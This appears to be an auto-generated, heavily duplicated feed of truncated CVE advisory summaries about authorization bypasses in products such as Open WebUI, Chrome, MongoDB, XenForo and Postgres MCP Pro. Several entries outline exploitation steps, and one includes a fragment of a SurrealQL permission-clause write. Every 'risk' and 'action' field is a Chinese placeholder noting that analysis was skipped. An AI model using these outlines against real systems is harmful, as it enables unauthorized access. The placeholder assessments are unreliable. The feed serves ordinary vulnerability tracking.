💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.8.0 until 0.9.0, Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT's predefined kit checkout path does not enforce Full Multiple Company Support (FMCS) tenant isolation on the checkout target. Unlike the single, bulk, API, accessory, license and consumable checkout paths, App\Services\PredefinedKitCheckoutService never calls $item->canCheckoutTo($target); it only performs the actor-vs-item policy check and an availability check before persisting the chec
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Renovate is a dependency update automation tool. In versions before 44.3.1 (and Mend Renovate CE/EE images before 15.4.0, mend-renovate-ce Helm chart before 15.4.0, mend-renovate-enterprise-edition Helm chart before 10.4.0), digest updates are not subject to the internal `minimumReleaseAge` (stability age) checks. When a repository configures `minimumReleaseAge` and has dependencies with `updateTy
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo (capgo.app) backend through 12.242.4 does not validate parent-child delegation when processing the x-limited-key-id header. checkKeyByIdPg() in supabase/functions/_backend/utils/hono_middleware.ts resolves the attacker-supplied numeric API key ID using only the key ID, its expiration state, and the authenticating key's user_id, while hasLimitedRbacSubkeyScope() accepts any key with a non-org
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo fails to clean up channel permission overrides when a user's last organization role binding is deleted, leaving stale overrides active. Attackers can retain channel-specific permissions after their base RBAC access has been revoked to perform unauthorized actions like changing production OTA versions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT's predefined kit checkout path does not enforce Full Multiple Company Support (FMCS) tenant isolation on the checkout target. Unlike the single, bulk, API, accessory, license and consumable checkout paths, App\Services\PredefinedKitCheckoutService never calls $item->canCheckoutTo($target); it only performs the actor-vs-item policy check and an availability check before persisting the chec
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Renovate is a dependency update automation tool. In versions before 44.3.1 (and Mend Renovate CE/EE images before 15.4.0, mend-renovate-ce Helm chart before 15.4.0, mend-renovate-enterprise-edition Helm chart before 10.4.0), digest updates are not subject to the internal `minimumReleaseAge` (stability age) checks. When a repository configures `minimumReleaseAge` and has dependencies with `updateTy
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability exists in the Countly Server DBViewer due to flawed sub-pipeline detection in the aggregation stage sanitizer. The /o/db aggregation endpoint parses user-controlled aggregation JSON and passes it through a stage sanitizer that determines whether a nested array is a sub-pipeline by checking if every element contains a key present in a hardcoded KNOWN_STAGE_OPER
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization bypass vulnerability exists in the Countly Server DBViewer due to flawed sub-pipeline detection in the aggregation stage sanitizer. The /o/db aggregation endpoint parses user-controlled aggregation JSON and passes it through a stage sanitizer that determines whether a nested array is a sub-pipeline by checking if every element contains a key present in a hardcoded KNOWN_STAGE_OPER
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/knowledge/{id}/delete in backend/open_webui/routers/knowledge.py authorized deletion against the knowledge base but then removed its administrator-owned external connection without a separate administrator check or a check for other dependent knowledge bases. A non-adminis
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.7.0 until 0.11.1, the built-in knowledge search tool passed the caller's readable knowledge identifiers through a metadata filter, but the search methods in eleven shipped vector backends ignored that filter. An authenticated user on an affected backend could enumerate the identifiers, names, and descripti
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/knowledge/{id}/delete in backend/open_webui/routers/knowledge.py authorized deletion against the knowledge base but then removed its administrator-owned external connection without a separate administrator check or a check for other dependent knowledge bases. A non-adminis
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.7.0 until 0.11.1, the built-in knowledge search tool passed the caller's readable knowledge identifiers through a metadata filter, but the search methods in eleven shipped vector backends ignored that filter. An authenticated user on an affected backend could enumerate the identifiers, names, and descripti
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, role synchronization in backend/open_webui/routers/auths.py and backend/open_webui/utils/oauth.py updated an administrator's database role without invalidating the user record cached by backend/open_webui/socket/main.py. An administrator demoted through a trusted role header or OAuth role
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, role synchronization in backend/open_webui/routers/auths.py and backend/open_webui/utils/oauth.py updated an administrator's database role without invalidating the user record cached by backend/open_webui/socket/main.py. An administrator demoted through a trusted role header or OAuth role
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Tanium addressed an improper access controls vulnerability in Comply.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Tanium addressed an improper access controls vulnerability in Comply.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Paint in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Tanium addressed an improper access controls vulnerability in Tanium Server.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in PushAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in DeviceBoundSessionCredentials in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via crafted network traffic. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Sources in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Views in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Omnibox in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n is an open source workflow automation platform. Prior to 2.37.7 and 2.38.1, the OAuth token endpoint bound an authorization code's first access token to the consented resource but did not bind its refresh token. Refreshing checked only that the requested resource was registered, not that it matched the original grant. An OAuth client approved for one workflow could substitute a different workf
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MongoDB Server contains an incorrect authorization vulnerability in the aggregation framework. An authenticated user with minimal privileges can craft a specially formatted aggregation request that causes the server's authorization subsystem to evaluate a different operation than what is actually executed, resulting in unauthorized read access to collection data within the target database.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security issue in the MongoDB Server aggregation framework allows an authenticated user with limited read privileges to bypass view-level authorization checks and access data from unauthorized collections when Atlas Search features are in use. The issue stems from insufficient validation of an internal command parameter that can be set by external clients, causing a security check to be improper
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security issue in MongoDB Server allows an authenticated user with elevated internal privileges to bypass a disabled feature gate in the applyOps command by specifying an internal replication mode value that was not intended to be client-selectable. This bypass enables execution of container operations that are disabled by default in production configurations, allowing direct storage-engine writ
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security issue exists in MongoDB's LDAP authorization integration where pooled LDAP connections can retain stale authentication identities after user authentication under certain configurations. Subsequent authorization queries may execute under an unintended LDAP identity rather than the expected one. This can result in incorrect role assignments based on the LDAP directory's access control con
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n is an open source workflow automation platform. Prior to 2.37.7 and 2.38.1, the OAuth token endpoint bound an authorization code's first access token to the consented resource but did not bind its refresh token. Refreshing checked only that the requested resource was registered, not that it matched the original grant. An OAuth client approved for one workflow could substitute a different workf
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was identified in aircheng-org iWebShop-5 up to 5.15. This issue affects the function Update::index of the file controllers/update.php. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was identified in aircheng-org iWebShop-5 up to 5.15. This issue affects the function Update::index of the file controllers/update.php. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
XenForo before 2.3.13 contains a missing authorization vulnerability in the force-agreement controller that allows any ACP administrator to access and submit force-agreement forms regardless of their assigned permissions. Attackers can bypass the option permission declared in the navigation configuration to update the global policy last-updated timestamp, forcing all users to re-agree to the priva
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
XenForo before 2.3.13 contains a missing authorization vulnerability in the ACP cache-rebuild dispatcher that allows limited administrators with only the rebuildCache permission to perform unauthorized approval queue actions by supplying an arbitrary job class and actor user ID in the POST body. Attackers can invoke the approval queue job under any user identity to approve queued user registration
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
XenForo before 2.3.13 contains a multi-factor authentication bypass vulnerability in the passkey TFA provider that allows an authenticated attacker to complete login as another user by submitting their own registered passkey credential during the WebAuthn assertion step. The passkey verification path performs a global credential lookup without validating that the matched credential belongs to the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
XenForo before 2.3.13 contains an authorization flaw in the OAuth2 token endpoint that allows attackers controlling any allowlisted redirect URI to bypass redirect URI binding by submitting a different allowlisted URI than the one recorded at authorization time. Attackers can exchange an intercepted authorization code using a mismatched redirect URI to steal OAuth2 tokens from intercepted authoriz
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An access control vulnerability was discovered in the Smart Polling configuration functionality due to insufficient validation of user privileges. An authenticated user with limited privileges can remotely bypass the intended access control of the web management interface and modify the Smart Polling discovery configuration. This allows the attacker to disrupt the visibility of assets in the monit
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An access control vulnerability was discovered in the Credentials Manager functionality due to insufficient validation of user privileges. A remote authenticated user with limited privileges can view a limited subset of the available entries in the Credentials Manager. The actual credential values are not directly visible, but the user can delete entries or edit their properties. An attacker who d
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
knowns versions before 0.30.0 contain an authorization bypass vulnerability where mutating code actions are incorrectly classified as read-only operations. Attackers with read-restricted sessions can exploit code.replace to modify permission configurations and escalate privileges on subsequent calls.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lara Dashboard before 1.3.2 authorizes the POST /admin/settings/core-upgrades/upload endpoint with only the settings.edit permission, allowing non-Superadmin administrators to upload and extract arbitrary zip archives over the live application source code. Attackers can upload a malicious archive containing modified application files such as routes/web.php with embedded system commands, which exec
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
knowns versions before 0.30.0 contain an authorization bypass vulnerability where mutating code actions are incorrectly classified as read-only operations. Attackers with read-restricted sessions can exploit code.replace to modify permission configurations and escalate privileges on subsequent calls.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lara Dashboard before 1.3.2 authorizes the POST /admin/settings/core-upgrades/upload endpoint with only the settings.edit permission, allowing non-Superadmin administrators to upload and extract arbitrary zip archives over the live application source code. Attackers can upload a malicious archive containing modified application files such as routes/web.php with embedded system commands, which exec
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed read-only users to create and modify whiteboard cards
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2025.3.160480, 2026.1.14047 pUT requests on link sub-resources allowed modification linked entities without update permission
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed overwriting of bundled apps via the app import endpoint
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 a crafted WebSocket message allowed read-only whiteboard users to modify canvas content
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2025.3.160480, 2026.1.14047 pUT requests on link sub-resources allowed modification linked entities without update permission
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed read-only users to create and modify whiteboard cards
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 improper permission checks allowed overwriting of bundled apps via the app import endpoint
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In JetBrains YouTrack before 2026.2.18634 a crafted WebSocket message allowed read-only whiteboard users to modify canvas content
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in 389 Directory Server. The SELFDN ACI bind-rule evaluator incorrectly matches an anonymous LDAP client's empty bind DN against an empty stored attribute value, allowing an unauthenticated client to satisfy access control checks intended to require a matching authenticated identity. This can allow an anonymous LDAP client to perform an operation, such as adding or modifying a dir
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Eclipse Ankaios versions v0.5.1 through v1.0.1, the agent-side Control Interface authorizer incorrectly evaluates multi-segment allow rules whose first path segment is a wildcard. An authenticated workload with access restricted by such a rule can submit a CompleteStateRequest or UpdateStateRequest with an empty field mask. The request may then be incorrectly authorized as matching the scoped r
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Eclipse Ankaios versions v0.5.1 through v1.0.1, the agent-side Control Interface authorizer incorrectly evaluates multi-segment allow rules whose first path segment is a wildcard. An authenticated workload with access restricted by such a rule can submit a CompleteStateRequest or UpdateStateRequest with an empty field mask. The request may then be incorrectly authorized as matching the scoped r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in projeto-siga siga up to 11.0.2.10/11.0.2.13/11.1.1. This affects the function ExAutenticacaoController.autenticar of the file sigaex/src/main/java/br/gov/jfrj/siga/vraptor/ExAutenticacaoController.java of the component Authentication Flow. Such manipulation of the argument cod/jwt leads to missing authorization. The attack may be launched remotely. The
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in projeto-siga siga up to 11.0.2.10/11.0.2.13/11.1.1. This affects the function ExAutenticacaoController.autenticar of the file sigaex/src/main/java/br/gov/jfrj/siga/vraptor/ExAutenticacaoController.java of the component Authentication Flow. Such manipulation of the argument cod/jwt leads to missing authorization. The attack may be launched remotely. The
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
grav-plugin-api before 1.0.20 fails to validate group-inherited super permissions in user-management guards, allowing non-super user managers to modify super-admin accounts. Attackers with api.access and api.users.write can patch password fields on group-super accounts to gain full administrative control.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
grav-plugin-api before 1.0.20 fails to validate group-inherited super permissions in user-management guards, allowing non-super user managers to modify super-admin accounts. Attackers with api.access and api.users.write can patch password fields on group-super accounts to gain full administrative control.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
**CVE:** This vulnerability corresponds to [CVE-2026-72792](https://nvd.nist.gov/vuln/detail/CVE-2026-72792). ### Summary `/api/tag/getTag` filters its results for reader roles through `FilterTagsByPublishIgnore`, which checks only the *visible* publish tier. Documents that are published but password-protected pass that check, so a reader who has never entered a document's publish password recei
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Avo is a framework to create admin panels for Ruby on Rails apps. From version 2.28.0 to before version 3.32.0, Avo's direct attachment upload endpoint lacks server-side upload authorization and bypasses the documented field-level upload policy methods such as upload_{FIELD_ID}?. An authenticated Avo user who can reach the Avo attachment upload endpoint can replace or add attachment content, inclu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A `PERMISSIONS ... WHERE` clause is evaluated with permission enforcement disabled, so it can't recurse into its own checks. But the clause could also contain data-modifying statements, and these ran with enforcement still off — so evaluating a permission check could write to tables the caller cannot write. For example: ```surql DEFINE TABLE post PERMISSIONS FOR update WHERE (CREATE log SET
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM i 7.6, 7.5, and 7.4 could allow a remote authenticated attacker to modify certain system messages due to improper authorization.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Observability with Instana (Agent) Build 1.0.303 through 1.0.323 IBM Instana Agent Operator could allow an authenticated remote attacker to obtain sensitive information, caused by missing destination namespace validation when copying etcd mTLS client credentials from the openshift-etcd system namespace into an attacker-controlled namespace.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Documenso 2.17.0 contains an access control vulnerability in the PDF-serving endpoint that fails to validate document visibility settings. Attackers with low privileges can read restricted documents within their team or cross-tenant by leveraging missing ownership validation on document data identifiers.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
AppFlowy-Cloud through 0.9.64 fails to validate workspace membership when establishing WebSocket connections in the establish_ws_connection_v2 handler, allowing authenticated users to bind sessions to workspaces they do not belong to. Attackers can send sync Manifest messages with victim object identifiers to read full document or database state from collaborations in other workspaces without vict
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Postgres MCP Pro 0.3.0 contains a restricted-mode bypass vulnerability where function-name validation is not applied to RangeFunction nodes in FROM clauses. Attackers can execute file-reading functions like pg_read_file through FROM-clause syntax to read arbitrary files despite restricted-mode protections.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
AppFlowy-Cloud 0.9.64 fails to verify that requested collab objects belong to the workspace in authorization checks, allowing attackers to access documents and database rows across workspaces. Attackers can supply a victim's object ID with their own workspace ID to bypass access controls and read, modify, or delete cross-workspace data.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Documenso 2.17.0 contains an access control vulnerability in the PDF-serving endpoint that fails to validate document visibility settings. Attackers with low privileges can read restricted documents within their team or cross-tenant by leveraging missing ownership validation on document data identifiers.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
AppFlowy-Cloud through 0.9.64 fails to validate workspace membership when establishing WebSocket connections in the establish_ws_connection_v2 handler, allowing authenticated users to bind sessions to workspaces they do not belong to. Attackers can send sync Manifest messages with victim object identifiers to read full document or database state from collaborations in other workspaces without vict
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Postgres MCP Pro 0.3.0 contains a restricted-mode bypass vulnerability where function-name validation is not applied to RangeFunction nodes in FROM clauses. Attackers can execute file-reading functions like pg_read_file through FROM-clause syntax to read arbitrary files despite restricted-mode protections.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
AppFlowy-Cloud 0.9.64 fails to verify that requested collab objects belong to the workspace in authorization checks, allowing attackers to access documents and database rows across workspaces. Attackers can supply a victim's object ID with their own workspace ID to bypass access controls and read, modify, or delete cross-workspace data.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik before v2.11.55 contains a TLS option conflict resolution vulnerability that allows unauthenticated attackers to bypass client-certificate authentication by creating conflicting TLS options on multi-host routers. Attackers can reach protected backends by exploiting shared TLS resolution across multiple hostnames in a single router rule, causing the strict mTLS requirement to fall back to d
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.8 contains an authorization bypass vulnerability in the question creation endpoint where the isAddingQuestionsAllowed() method grants access to all callers when main.enableAskQuestions is enabled, ignoring the records.allowQuestionsForGuests setting. Unauthenticated attackers can submit questions via the question/create API endpoint to bypass guest submission restrictions and i
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.8 enforces incorrect permission checks on admin content pages, allowing lesser-privileged editors to read draft and inactive content. Attackers with only add permissions can access news edit and FAQ translate endpoints to view unpublished content invisible to the public.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik before v2.11.55 contains a TLS option conflict resolution vulnerability that allows unauthenticated attackers to bypass client-certificate authentication by creating conflicting TLS options on multi-host routers. Attackers can reach protected backends by exploiting shared TLS resolution across multiple hostnames in a single router rule, causing the strict mTLS requirement to fall back to d
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.8 contains an authorization bypass vulnerability in the question creation endpoint where the isAddingQuestionsAllowed() method grants access to all callers when main.enableAskQuestions is enabled, ignoring the records.allowQuestionsForGuests setting. Unauthenticated attackers can submit questions via the question/create API endpoint to bypass guest submission restrictions and i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.8 enforces incorrect permission checks on admin content pages, allowing lesser-privileged editors to read draft and inactive content. Attackers with only add permissions can access news edit and FAQ translate endpoints to view unpublished content invisible to the public.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security flaw has been discovered in SourceCodester Class and Exam Timetabling System 1.0. This vulnerability affects unknown code of the file /admin/session.php. The manipulation of the argument ID results in missing authorization. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A Missing Authorization vulnerability in HTTP Connector in Google Cloud Integration Connectors versions prior to 2025-12-11 on Google Cloud Platform allows an authenticated user to escalate privileges and take over a Google Cloud Project using unauthorized service account attachment. This vulnerability was patched on 11 December 2025, and no customer action is needed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability in MISP allowed authenticated users to delete attributes from events despite lacking the required perm_modify or perm_modify_org permissions. The affected attribute deletion paths relied on organization membership checks performed by MispAttribute::deleteAttribute() but did not consistently enforce MISP's event modification authorization rules. Consequentl
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability in MISP allowed authenticated users to delete attributes from events despite lacking the required perm_modify or perm_modify_org permissions. The affected attribute deletion paths relied on organization membership checks performed by MispAttribute::deleteAttribute() but did not consistently enforce MISP's event modification authorization rules. Consequentl
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The WPFunnels WordPress plugin before 3.13.0 does not check whether user registration is enabled on the site before creating accounts from opt-in form submissions, relying on a value supplied in the request instead, allowing unauthenticated attackers to create WordPress user accounts even when registration is disabled. This is an incomplete fix for CVE-2025-12353: the check added in 3.6.3 covers
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to unauthorized configuration modification via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180).
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to information disclosure via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180).
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to denial of service via Exploiting Incorrectly Configured Access Control Security Levels (CAPEC-180).
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Kibana can lead to privilege escalation via Input Data Manipulation (CAPEC-153). Elasticsearch cluster privilege declarations originating from integration packages were not validated before being used to mint credentials for enrolled Elastic Agents. A user holding Fleet management privileges could therefore cause every Elastic Agent on a targeted policy to rece
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LearnPress WordPress Plugin before 4.4.6 contains a broken object-level authorization vulnerability that allows authenticated attackers with the Instructor role to add answers to quiz questions owned by other instructors by exploiting a missing ownership check on the question answer insert path. Attackers can supply arbitrary question identifiers during answer insertion, bypassing instructor-bound
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
